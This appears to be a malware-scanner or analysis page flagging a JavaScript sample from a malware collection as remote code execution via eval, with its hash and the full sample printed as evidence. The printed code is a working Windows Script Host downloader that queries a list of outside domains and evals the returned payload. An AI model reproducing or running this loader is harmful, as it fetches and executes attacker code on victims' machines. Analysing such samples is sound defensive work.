Suspicious ^80% javascript-malware-collection Download

20170309_527ea84738202cf415cad1e786c87e0a.js

Remote code execution via eval

responseText split().join() rewriteCalls an object's open() method

SHA-256ec7ada279c4a08db4eba1949cf5fccf2c5579142d96961e24f53af9968f10bf9

Evidence

responseText split().join() rewrite lines 1–29

1
2
3var x = "delta.truecompassdesigns.net live2live.me online-web-typing.com irma.truecompassdesigns.net omegaministrygroup.com".split(" ");
4var m = "0000001BbbaUnnYSnHQB5yZQDZ14d9m5rE24bey7rXB4aOypfKIVYElgCI0fndm9BW_vR03h-PFz10hrHVU_Z_95JkeNLInDJdtUeDH8__Fnd8R8WKdldhBl";
5for (var i=0; i<x.length; i++)
6{
7	var e = WScript.CreateObject("MSXML2.XMLHTTP");	
8	try
9	{
10		var ter = '/';
11		e.open('GET', 
12		"http"+"://"+x[i]+ter+"counter/?"+m,
13		
14		false);
15		e.send();
16
17		var r = e.responseText;
18
19		if (r.length > 1000 && r.indexOf(m) > -1)
20		{
21			eval(e.responseText.split(m).join("a"));
22
23			break;
24		};
25	}
26	catch(e)
27	{
28	};
29};